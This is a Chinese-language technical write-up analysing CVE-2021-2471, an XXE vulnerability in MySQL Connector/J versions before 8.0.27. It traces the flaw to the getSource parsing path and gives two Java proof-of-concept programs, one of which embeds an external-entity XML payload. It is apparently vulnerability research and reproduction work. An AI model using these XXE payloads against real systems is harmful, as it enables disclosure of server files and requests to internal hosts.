MySQL JDBC XXE漏洞(CVE-2021-2471)漏洞分析
参考资料:
https://mp.weixin.qq.com/s/erIFMiPNB2XSBJSqXyxuKg
正文:
10月21日,"阿里云应急响应"公众号发布Oracle Mysql JDBC存在XXE漏洞,造成漏洞的原因主要是因为getSource
方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。
影响版本: < MySQL JDBC 8.0.27
本地配置相关环境:
pom.xml,影响版本在8.0.27
之前,这里使用8.0.26
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.26</version>
</dependency>
根据阿里云所发布的内容找到对应的getSource
方法。
Class所在位置:package com.mysql.cj.jdbc.MysqlSQLXML
漏洞造成的具体原因是因为当传入类型为DOMSource时,则使用DocumentBuilder对数据进行解析处理。
定位到具体代码:
在return
中使用DocumentBuilder
的parse
方法来解析inputSource
变量中的内容。
看一下inputSource
是如何赋值的。
if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}
当fromResultSet
为false
时,将stringRep
的内容会赋值给inputSource
。跟进查找stringRep
是如何设置的。
在MysqlSQLXML
类中可以通过setString
方法类设置stringRep
的值。
找到对应的触发点,就可以查看如何调用了。
createSQLXML
方法的作用就是返回一个MysqlSQLXML
对象。
在构造方法中,fromResultSet
的值就已经被初始化赋值为false。也就是说在后续的判断中可以直接走到stringRep
赋值给inputSource
的过程
由于MysqlSQLXML
实现的是SQLXML
接口。所以在调用的时候也需要使用SQLXML
。
POC:
package com.example.demo3;
import javax.xml.transform.dom.DOMSource;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.SQLXML;
public class main {
public static void main(String[] args) throws SQLException {
String poc = "<!DOCTYPE b [<!ENTITY xxe SYSTEM \"http://127.0.0.1:8041/poc.txt\">]><name>&xxe;</name>";
Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/", "root","root");
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);
}
}
整体流程:
1.先使用createSQLXML创建MysqlSQLXML对象,fromResultSet的值将会被设置为false
2.使用setString,设置`stringRep`的值。
3.调用getSource方法,并设置传入类为`DOMSource.class`。确保在if判断时能正常走到触发点。
验证:
------------------------------------------------------------------
填坑:
在根据现有资料进行复现时,最终POC通过setString
来设置stringRep
。这里会显得特别鸡肋(实际环境中根本遇不到)。jar包的作用是实现与数据库之间的交互。正常来说应该是从数据库中查询出来后,结果包含恶意PAYLOAD
在解析时触发。
好在三梦师傅也发了对应的POC。
虽然该POC标注为Oracle
,MySQL
也是可以利用此方法的。
POC:
package com.example.demo3;
import javax.xml.transform.dom.DOMSource;
import java.sql.*;
public class main {
public static void main(String[] args) throws SQLException {
Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/sys", "root","root");
Statement statement = connection.createStatement();
statement.execute("select * from test");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("message");
sqlxml.getSource(DOMSource.class);
}
}
}
在调用getSQLXML
获取对应返回字段内容时。会创建一个MysqlSQLXML
对象。
此时owningResultSet
的内容就是执行SQL语句返回后的内容,columnIndexOfXml
是获取内容键值所处位置。而fromResultSet
则被设置为True.这与上文是不同的。
当调用getSource
方法并设置类型为DOMSource
时会进入一处判断。
此时的fromResultSet
在初始化MysqlSQLXML
对象就已经被设置为True
.而上文另一种方式则是设置为False
,让stringRep
的值赋值给inputSource
.
而fromResultSet
为true时。则直接根据键值所处位置从owningResultSetSQL
语句的查询结果中获取内容。
这也就导致了无需设置stringRep
的内容,直接从SQL语句查询结果中获取内容并赋值给inputSource
.最终使用DocumentBuilder.parse
解析内容,造成XXE漏洞。
Info very well used!!